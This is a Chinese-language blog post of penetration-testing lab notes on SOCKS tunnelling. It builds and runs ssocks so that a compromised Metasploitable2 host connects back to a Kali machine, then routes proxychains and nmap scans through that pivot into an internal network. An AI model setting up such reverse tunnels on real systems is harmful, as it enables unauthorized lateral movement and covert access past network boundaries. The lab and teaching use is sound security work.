隐藏隧道通信:Socks 隧道

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

1 Socks 隧道原理

  • socks 是一种代理服务,可以说是一个升级版的 lcx。
  • Socks有 socks 4 和 socks 5 两种类型,socks 4 只支持TCP 协议,而 socks 5支持 TCP/UDP 协议。
  • 通过在靶机上配置 Socks 服务,让恶意主机通过 Socks 客户端连接 Socks 服务,进而实现跳板攻击。
  • socks 协议中有交互协议,当访问某个网站的时候,浏览器会把被访问目标的 URL 和服务端口交给 socks 服务端进行解析,socks 服务端解析后代替浏览器去访问目标网站,将结果返回给浏览器。
  • 端口转发必须要知道访问端口,并只能一对一;而 socks 支持一对多
# socks 客户端 ./rcsocks 命令
Usage:
        ./rcsocks -p 1088 -l 1080 -b
        ./rcsocks -p 1088 -l 1080
在当前配置下,远程服务端配置如下:
./rssocks -s rcsocksserv:1080
设置你的连接工具(如:proxychains)通过 socks5 代理配置如下:
vim /etc/proxychains.conf 
# 注释下面这一行,并配置
# socks4        127.0.0.1 9050
socks5  127.0.0.1 1088

Options:
        --verbose (increase verbose level)
        --listen {port} where rssocks connect back
        --port {port} the socks5 port you want
        --background

# socks 服务端 .rssocks 命令:
Usage:
        ./rssocks --socks rcsocksserv:1080 -b
        ./rssocks --socks rcsocksserv:1080
Options:
        --verbose (increase verbose level)

        --socks {host:port}
        --ncon {nb of reverse connection}
        --background

2 实验环境

image-20210902224428968

2.1 客户端配置

  1. 下载地址

    # Metasploitable2 使用了以下的 ssocks 包进行测试:
    https://udomain.dl.sourceforge.net/project/ssocks/ssocks-0.0.14.tar.gz
    # 编译
    cd ssocks-0.0.14
    ./configure && make
    
    
    # KALI 中,sourceforge 上的 ssocks 包在最新版本的 KALI 环境下无法编译报错,下载了以下链接的 ssocks 包进行测试
    https://github.com/tostercx/ssocks
    # 编译
    mkdir build
    cd build
    cmake ..
    make
    
  2. kali 作为 Socks 客户端,需要等待 Socks 服务端与本机建立连接隧道,配置如下:

    cd ssocks/build
    ./rcsocks -l 1080 -p 12321 -v
    # 配置监听本地 1080 端口,将通过本地 1080 端口的流量转发到 Socks 12321 端口。
    

    image-20210902232305022

  3. 利用 Proxychains 工具代理 Socks

    sudo apt install proxychains
    vim /etc/proxychains.conf 
    # 注释下面这一行,并配置
    # socks4        127.0.0.1 9050
    socks5  127.0.0.1 1080
    

    image-20210902232405020

  4. 通过 Socks 隧道代理扫描内网主机

    proxychains nmap –Pn -sV 192.168.100.151
    

2.2 服务端配置

跳板机 Metasploitable2 作为 Socks 服务端,配置如下:

cd ssocks-0.0.14/src
./rssocks -s 192.168.0.2:12321
# 配置监听 IP 地址为 192.168.0.2 主机访问本地 12321 端口的链接
./rssocks -v -s 192.168.0.2:12321

2.3 利用 Socks 隧道代理扫描内网主机

┌──(kali㉿kali)-[~/Desktop/ssocks/build]
└─$ proxychains nmap -sV -Pn 192.168.100.151

image-20210902232639191

火狐浏览器配置 Socks 代理

image-20210902232923017

image-20210902232937150

posted @ 2021-09-03 22:18  f_carey  阅读(19)  评论(0编辑  收藏  举报  来源